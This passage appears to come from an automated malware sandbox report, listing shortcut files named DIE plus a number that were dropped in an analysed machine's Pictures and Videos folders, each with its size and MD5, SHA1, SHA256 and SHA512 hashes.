    becd383afa14420a0c569eb96953abdd5d1f9efad197da12e598d260c68b51b2626b7b7c6d09e1f68a4afb268f9a5df28762396bc4247604e76eb6f2bf436b59

  • C:\Users\Admin\Pictures\DIE151.lnk

    Filesize

    1KB

    MD5

    dc7dd4dcebddfc7403eb8faea6dea021

    SHA1

    6848c524e236cdb9b4de6a4d9804b046ec761c19

    SHA256

    80bf5dad510bc1ca6b7abac009de7753f3a17489d732cd81fee42d12917d5b21

    SHA512

    19bc0769af8234358bf0565eb8624c8fa7255c20721b6d33786e9ffd5c149e7916b0e5e81113d45b290a329b8a24e854c1ee0e9e1b7f3902f0cb94a62e6f75ec

  • C:\Users\Admin\Pictures\DIE182.lnk

    Filesize

    1KB

    MD5

    745f69610bdb3bd223f75b3cbc3d7bae

    SHA1

    d39185c35ebd006c21edb8c1b929343010928f58

    SHA256

    8d449a167e6b536f6b96534f953290f29616555b1da75ee1a38df7f02b7ca2f0

    SHA512

    41d0e2bed04c3b5c6c2422a2e8c17d212ed077916ae442fe88d7f2799e83359464a69deadf392a1d2902d3fb03f34b0042bf5150150b35a443cf9bab1c927703

  • C:\Users\Admin\Pictures\DIE195.lnk

    Filesize

    1KB

    MD5

    6b1ea8ce37937886b5a653c3313d8ec5

    SHA1

    ab27b198e65092239348c7fdb8e7b851a2eb4bfb

    SHA256

    47e91aea3233e3debe416673e57a4fb761880c21dffa4b0bbee91d4a7d6e434b

    SHA512

    8da2f73e01769e7314fc2464a71c8aa50b55e8e5845fcd5738c916f44da0b8f7d1f9a8e2cb07ff49a4377a6cf07e6ad1b2e7cdc791143bfa44e6420576d7be19

  • C:\Users\Admin\Pictures\DIE23.lnk

    Filesize

    1KB

    MD5

    76f17950ca3c1747705f379ab66c8d89

    SHA1

    6d815c522bba0824b036b7dc79a0313a6634d7e3

    SHA256

    e824ab7a45d405972daa044c5f0f0f70e1afd9cf2797470c4a2485c90b350ee7

    SHA512

    f021e7f81b13d1efc8521a86b400c761a84b14cebe0b367c55f275e73f305f9429b51082a03be2fd5e9e50a1a69129402b7fc0bc4a03b14f0c85108208a938dd

  • C:\Users\Admin\Pictures\DIE29.lnk

    Filesize

    1KB

    MD5

    9dfcf42e111a6d0528138516f3e1e2eb

    SHA1

    b0041d43ea7e872f9976ef98ff9e2e0913e80e88

    SHA256

    39419931b1c5775d7c4a9380fee9003e3ca4319deebfb6700489dab51c85cdde

    SHA512

    3aa00e91329a6d79b79026ddd08e0a7c864306bc84d0e29356f52fca215fe6b1921a4f8ec153dca46e468e5bcc0d0c8f8412c75d08c08be61246a94192aa1d4b

  • C:\Users\Admin\Pictures\DIE3.lnk

    Filesize

    1KB

    MD5

    3a03206bed45802097860bd7f4c5541c

    SHA1

    598603026afd51b08e54daf56725f2356e52ba52

    SHA256

    d6750a5215cb5953f6af7f934e419415e2bdf27422ec769878b03fd9252f9083

    SHA512

    381d02bce4207a30a1f2ce22c88f10e3841d8a8a852dcd55f3ebaba3ce0a1faa305540246a207cc1ee29efbefd25f33faf73953ad7f8a483d61a80ff66d90294

  • C:\Users\Admin\Pictures\DIE44.lnk

    Filesize

    1KB

    MD5

    f45fb90b183fe913ef48a007f1b51ec9

    SHA1

    3bf1f15e2f16ec58582eb1c532b4f3b906ce7742

    SHA256

    2deab0a750a151ed37e913c043bbed65aa9c656c63787376292044bb97e58928

    SHA512

    14c88527448266de34e8a5bbf2fe20925a2557f940e9224509d9dfa10f4305a8def57b7f438aee7388231484e8f7ef3b278ca06c2e266f031ff55701d735368e

  • C:\Users\Admin\Pictures\DIE51.lnk

    Filesize

    1KB

    MD5

    ed46d270c9ad7c00ac9208ed2461f2e7

    SHA1

    36c35141e04a5b9e9ce4b37e1235e35f0624f473

    SHA256

    53839a5311f87df7dbc7587082d9fbe88efa021cbd8aea197163ca0422e59f91

    SHA512

    249e9adc442898d9f266fab0ac8ca7500ebf8f7ae6d99d4d3dd83f55d7b44cdd9abc933678618305dc430d7414286d017d03dc56f9139d6dd667a2f9ee749521

  • C:\Users\Admin\Pictures\DIE66.lnk

    Filesize

    1KB

    MD5

    ea410c375bbb2905e4b789e2207c2602

    SHA1

    eacdacc974455a8df5dd50a40588d52f2e6d8898

    SHA256

    5c17f961a8331802bff384c523c2c5636012267d7686c67f5f7e47771c2f724f

    SHA512

    e230ca8d6d2245b6a9da4928d06c8163fa59dbd9a7faec4609af5d15695085361611aecab02c9dd188107d95a6c82f0b75e1e3fc19bf562f3cb2fccbd64ede64

  • C:\Users\Admin\Pictures\DIE76.lnk

    Filesize

    1KB

    MD5

    34fa5232cd361a4cee0ccde5e4af75d9

    SHA1

    daf422599cc3272a1b199b9fbe1bf6fbe1538553

    SHA256

    1742ba3d012f0068508953af9dde9009212510f44666a6bdab233342780cf3ac

    SHA512

    feade7f196150cf05194fa246b51c5aa59f03df05abbe46f556d7d2535ab40f908b94f4d09236387f4fc11d78a58bafc183e0f5558a2be549a75516b004eeb40

  • C:\Users\Admin\Videos\DIE115.lnk

    Filesize

    1KB

    MD5

    092ed667ed3a315882eb555e09d49d26

    SHA1

    70b281573a941ea62286c1b4def08371978d60ce

    SHA256

    526d4870bffbdd24abd8f3a5d546fa16c9453ea24836dafc8a043f1dab88c143

    SHA512

    2d8c9a79a278ea32dc4b32c6e374e3dd5de98215e53334f8fb3326164f63177d51f03382eab3c7e5ed70faef4d778031950092778e29c2fad27cf3f964427091

  • C:\Users\Admin\Videos\DIE167.lnk

    Filesize

    1KB

    MD5

    f26245c9f3c932631f3d4c49d58e944a

    SHA1

    7445fbfa413644d72bc143cca3158bb739053c2e

    SHA256

    e7e7e6859a56bc71574b73a0bc6dec0fbc5652c9657cb8cd72282987a3d96e23

    SHA512

    804b7f9420c0468def90225fa32222aa2dc000b7c9339b5ec8daeb4880d03985ca6fcc496d7ba553b234a31c62d497dc23297ec9b0ebeae5c3d68e4852d8abb9

  • C:\Users\Admin\Videos\DIE29.lnk

    Filesize

    1KB

    MD5

    de61842cdedd26de6c99dbfbb0bff8a8

    SHA1

    aad9935e6f4bc2fbfa3434c4abc16c3cbbb91ead

    SHA256

    1c51575099acbc1fe7ab911be59c38a57c7f3422cd2194fc47db9ec1a0055642

    SHA512

    2360c80d21d8408501dc22df9577da706598144e3038a340eff45be7cf7d7a73071ee5c35fd0caab51d52eecea030df6e0804f61a9da713f3144d7dc0e282ae6

  • C:\Users\Admin\Videos\DIE54.lnk

    Filesize

    1KB

    MD5

    46086fdeddcd8b70d7247c8c6808cc68

    SHA1

    3bb79f930ee3eedfd0f09e5316715da640874c14

    SHA256

    f8361bc2123dda35722f29c8edef0ac6a9d41f1f6a6b90cb75a4c0beb77d09e5

    SHA512

    bb3eefab83a8f30b7d642ae9911118a2bb8273f2d58ae5e65667417ec26726e2507ecfb204cf19932673e9386d17ca3d4648b3fd14475ae1506ce8e120f2dc4a

  • C:\Users\Admin\Videos\DIE59.lnk

    Filesize

    1KB

    MD5

    6630fc6f3d6dba76f828aea86c1284c3

    SHA1

    3fa803ff77fa55bb2f2d3deaeca544b00aed628c

    SHA256

    9537d268fb48711fec049ad996cdb3044fa1c6c08d4547678e60f32561f38587

    SHA512

    bc54abc6810307dfed3302cf0c9402bc65d85f7800ea542859e9f7dbab8ebf24a1ad33e4642dbb61bfbbbb1ab143c40bff29c2f78cd7e96d58915806e6fe3ded

  • C:\Users\Admin\Videos\DIE67.lnk

    Filesize

    1KB

    MD5

    341b045df54938c63aacaaf87cf582ea

    SHA1

    7ae627cdc9ae8bc3fa638428f664f1af47f71c8f

    SHA256

    774dc4e1cee480f59e48ed0c1ea07064cbc671062547696cb5ebd52df5136ac7

    SHA512

    a7363266b826757f3760323472edf4e8496ef332233b5c7e40ce72cae4e691020380cc953c2784df10c2fb25301f87f21d345de08a90b7195f576abb1b68f1ef

  • C:\Users\Admin\Videos\DIE93.lnk

    Filesize

    1KB

    MD5

    771d6337daf9bba3f19f79f2992510e1

    SHA1

    1c7d2ca7982be819883906b7b3d6205bc794d906

    SHA256

    b8fba644e578da42d93431ae2876b88ba1c642c4ea7b511c3d5598880edf44d4

    SHA512

    3c9f1e06c82d2d2ed3f722324e768d3a4a7f32992c526cc09d44195332a043e327e3f14325ae5afc4379938d1294293722d4274d010e06184011ae3112dad3fe

  • C:\Users\Admin\Videos\DIE98.lnk

    Filesize

    1KB

    MD5

    fe5efb7569b4524b1195d3745c04d04a

    SHA1

    9152d0c27d6a5db7c33fd17c98e3cc78bb7213d7

    SHA256

    e79b68d2bd486baec4d7061db0a286d59075ac357c04882bb3ba39d7cef50ccc

    SHA512

    71aa42c8093dd9eb402fafe04322cd1a4bc96f0bf727cbf4e27c0d10eb6ca5e106e408597a79f2ff3daf577f9928608e720f696cf5232a0330c9d82e28e5faa8